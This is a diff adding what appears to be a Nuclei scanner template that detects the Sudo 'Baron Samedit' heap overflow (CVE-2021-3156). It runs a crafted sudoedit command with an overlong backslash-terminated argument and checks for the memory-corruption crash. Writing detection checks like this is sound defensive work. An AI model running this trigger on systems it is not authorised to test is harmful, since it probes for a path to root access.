Create CVE-2021-3156.yaml

code/cves/2021/CVE-2021-3156.yaml

@@ -0,0 +1,30 @@
+id: CVE-2021-3156
+
+info:
+  name: Sudo Baron Samedit - Local Privilege Escalation
+  author: pussycat0x
+  severity: high
+  description: |
+    Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
+  reference:
+    - https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435
+    - https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
+    - https://infosecwriteups.com/baron-samedit-cve-2021-3156-tryhackme-76d7dedc3cff
+  metadata:
+    verified: true
+  tags: cve,cve2021,sudo,code,linux,privesc,local
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      sudoedit -s '\' $(python3 -c 'print("A"*1000)')
+
+    matchers:
+      - type: word
+        words:
+          - "malloc(): memory corruption"
+          - "Aborted (core dumped)"
+        condition: and